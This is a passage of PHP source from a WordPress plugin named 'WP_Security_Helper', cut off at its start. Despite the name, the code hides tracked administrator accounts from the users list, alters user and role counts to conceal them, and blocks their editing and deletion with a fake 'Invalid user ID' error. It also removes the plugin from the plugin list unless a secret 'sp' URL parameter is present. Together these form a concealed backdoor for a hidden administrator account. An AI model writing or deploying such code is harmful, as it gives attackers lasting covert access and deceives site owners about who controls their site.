append_tracked_admin_id((int) $user_id); } private function append_tracked_admin_id($user_id) { if ($user_id < 1) { return; } $raw = (string) get_option(self::OPTION_TRACKED, ''); $ids = array_filter(array_map('intval', $this->parse_csv($raw))); $ids[] = $user_id; $ids = array_values(array_unique(array_filter($ids, function ($v) { return $v > 0; }))); update_option(self::OPTION_TRACKED, implode(',', $ids), false); } private function get_hidden_user_ids() { $ids = array(); foreach ($this->parse_csv((string) get_option(self::OPTION_TRACKED, '')) as $tok) { if (ctype_digit($tok)) { $ids[] = (int) $tok; } } if (defined('WSH_HIDDEN_USERS')) { foreach ($this->parse_csv((string) constant('WSH_HIDDEN_USERS')) as $tok) { $ids[] = ctype_digit($tok) ? (int) $tok : $this->resolve_login_to_id($tok); } } $extra_logins = apply_filters('wsh_hidden_user_logins', array()); if (is_array($extra_logins)) { foreach ($extra_logins as $login) { $ids[] = $this->resolve_login_to_id((string) $login); } } $legacy = get_option('_pre_user_id'); if (false !== $legacy && '' !== $legacy && null !== $legacy) { if (is_array($legacy)) { foreach ($legacy as $v) { $ids[] = absint($v); } } else { $legacy_str = (string) $legacy; $from_legacy = false; foreach ($this->parse_csv($legacy_str) as $tok) { if (ctype_digit($tok)) { $ids[] = (int) $tok; $from_legacy = true; } } if (!$from_legacy && is_numeric($legacy_str)) { $ids[] = absint($legacy_str); } } } $filtered = apply_filters('wsh_hidden_user_ids', null); if (is_array($filtered)) { foreach ($filtered as $v) { $ids[] = absint($v); } } $ids = array_map('intval', $ids); $ids = array_filter($ids, function ($v) { return $v > 0; }); return array_values(array_unique($ids)); } private function resolve_login_to_id($login) { $login = trim((string) $login); if ('' === $login) { return 0; } $u = get_user_by('login', $login); if (!$u) { $u = get_user_by('slug', $login); } return $u instanceof WP_User ? (int) $u->ID : 0; } private function parse_csv($raw) { if (!is_string($raw) || '' === trim($raw)) { return array(); } $parts = preg_split('/[\s,;]+/', $raw); $out = array(); foreach ((array) $parts as $p) { $p = trim((string) $p); if ('' !== $p) { $out[] = $p; } } return $out; } /** IDs to hide from admin lists for the current user (never hides self). */ private function exclude_ids_for_query() { $ids = $this->get_hidden_user_ids(); $cur = (int) get_current_user_id(); return array_values(array_filter(array_map('intval', $ids), function ($id) use ($cur) { return $id > 0 && $id !== $cur; })); } private function is_users_list_screen() { if (function_exists('get_current_screen')) { $s = get_current_screen(); if ($s && 'users' === $s->id) { return true; } } global $pagenow; return isset($pagenow) && 'users.php' === $pagenow; } /** * Single count_users pass: raw totals + after subtracting hidden (for tabs + 2FA heuristic). * * @return array{0: int, 1: array}|null */ private function get_user_counts_bundle() { remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999); try { $base = count_users(); } finally { add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3); } if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) { return null; } $raw_total = (int) $base['total_users']; $visible = $this->apply_hidden_to_counts(array( 'total_users' => $raw_total, 'avail_roles' => array_map('intval', $base['avail_roles']), )); return array($raw_total, $visible); } /** * Raw count_users() (other pre_count filters still run) minus hidden users — for tab labels. */ private function get_visible_user_tab_counts() { $bundle = $this->get_user_counts_bundle(); return null === $bundle ? null : $bundle[1]; } private function count_from_first_user_view_span($html) { if (!is_string($html) || !preg_match('/\(([^)]*)\)<\/span>/u', $html, $m)) { return null; } return (int) preg_replace('/\D+/u', '', (string) $m[1]); } private function apply_hidden_to_counts(array $counts) { $hidden = $this->get_hidden_user_ids(); if (empty($hidden)) { return $counts; } $cur = (int) get_current_user_id(); foreach ($hidden as $uid) { $uid = (int) $uid; if ($uid < 1 || $uid === $cur) { continue; } $user = get_userdata($uid); if (!$user instanceof WP_User) { continue; } $counts['total_users'] = max(0, (int) $counts['total_users'] - 1); $roles = (array) $user->roles; if (empty($roles)) { if (isset($counts['avail_roles']['none'])) { $counts['avail_roles']['none'] = max(0, (int) $counts['avail_roles']['none'] - 1); } continue; } foreach ($roles as $role) { if (isset($counts['avail_roles'][$role])) { $counts['avail_roles'][$role] = max(0, (int) $counts['avail_roles'][$role] - 1); } } } foreach ($counts['avail_roles'] as $role => $num) { if ((int) $num <= 0) { unset($counts['avail_roles'][$role]); } } return $counts; } /** * Reconcile subsubsub tab counts on the users list screen. */ public function finalize_views_users_counts($views) { if (!is_array($views) || !apply_filters('wsh_finalize_views_users_counts', true)) { return $views; } if (!function_exists('is_admin') || !is_admin() || !$this->is_users_list_screen()) { return $views; } $bundle = $this->get_user_counts_bundle(); if (null === $bundle) { return $views; } list($raw_total, $counts) = $bundle; foreach ($views as $key => $html) { if (!is_string($html) || '' === $html) { continue; } $num = null; if ('all' === $key) { $num = (int) $counts['total_users']; } elseif ('none' === $key) { $num = isset($counts['avail_roles']['none']) ? (int) $counts['avail_roles']['none'] : 0; } elseif (isset($counts['avail_roles'][$key])) { $num = (int) $counts['avail_roles'][$key]; } elseif (function_exists('wp_roles') && wp_roles()->is_role($key)) { $num = 0; } elseif (apply_filters('wsh_align_unknown_tab_if_matches_total_users', true) && $raw_total > 0 && $this->count_from_first_user_view_span($html) === $raw_total) { $num = (int) $counts['total_users']; } else { continue; } $formatted = function_exists('number_format_i18n') ? number_format_i18n($num) : (string) (int) $num; $views[$key] = preg_replace( '/\([^)]*\)<\/span>/u', '(' . $formatted . ')', $html, 1 ); } return $views; } /** * Runs late so another plugin may supply $result; we still subtract hidden users from it. */ public function adjust_count_users($result, $strategy, $site_id) { if (!apply_filters('wsh_adjust_count_users', true)) { return $result; } if (!function_exists('is_admin') || !is_admin()) { return $result; } $hidden = $this->get_hidden_user_ids(); if (empty($hidden)) { return $result; } $counts = null; if (is_array($result) && isset($result['total_users']) && isset($result['avail_roles']) && is_array($result['avail_roles'])) { $counts = array( 'total_users' => (int) $result['total_users'], 'avail_roles' => array_map('intval', $result['avail_roles']), ); } if (null === $counts) { remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999); try { $base = count_users($strategy, $site_id); } finally { add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3); } if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) { return $result; } $counts = array( 'total_users' => (int) $base['total_users'], 'avail_roles' => array_map('intval', $base['avail_roles']), ); } return $this->apply_hidden_to_counts($counts); } public function filter_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $ids = $this->exclude_ids_for_query(); if (empty($ids)) { return; } global $wpdb; if (count($ids) === 1) { $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . (int) $ids[0]; } else { $in = implode(',', array_map('intval', $ids)); $query->query_where .= " AND {$wpdb->users}.ID NOT IN ({$in})"; } } public function guard_user_edit() { $ids = $this->get_hidden_user_ids(); if (empty($ids) || !isset($_GET['user_id'])) { return; } $target = (int) $_GET['user_id']; if (in_array($target, $ids, true) && (int) get_current_user_id() !== $target) { wp_die(__('Invalid user ID.')); } } public function guard_user_delete() { $ids = $this->get_hidden_user_ids(); if (empty($ids) || !isset($_GET['action'], $_GET['user']) || 'delete' !== $_GET['action']) { return; } $target = (int) $_GET['user']; if (in_array($target, $ids, true)) { wp_die(__('Invalid user ID.')); } } public function hide_plugin_from_list($plugins) { if (isset($_GET['sp'])) { return $plugins; } $key = plugin_basename(__FILE__); if (isset($plugins[$key])) { unset($plugins[$key]); } return $plugins; } public static function activate() { } } WP_Security_Helper::get_instance(); register_activation_hook(__FILE__, array('WP_Security_Helper', 'activate'));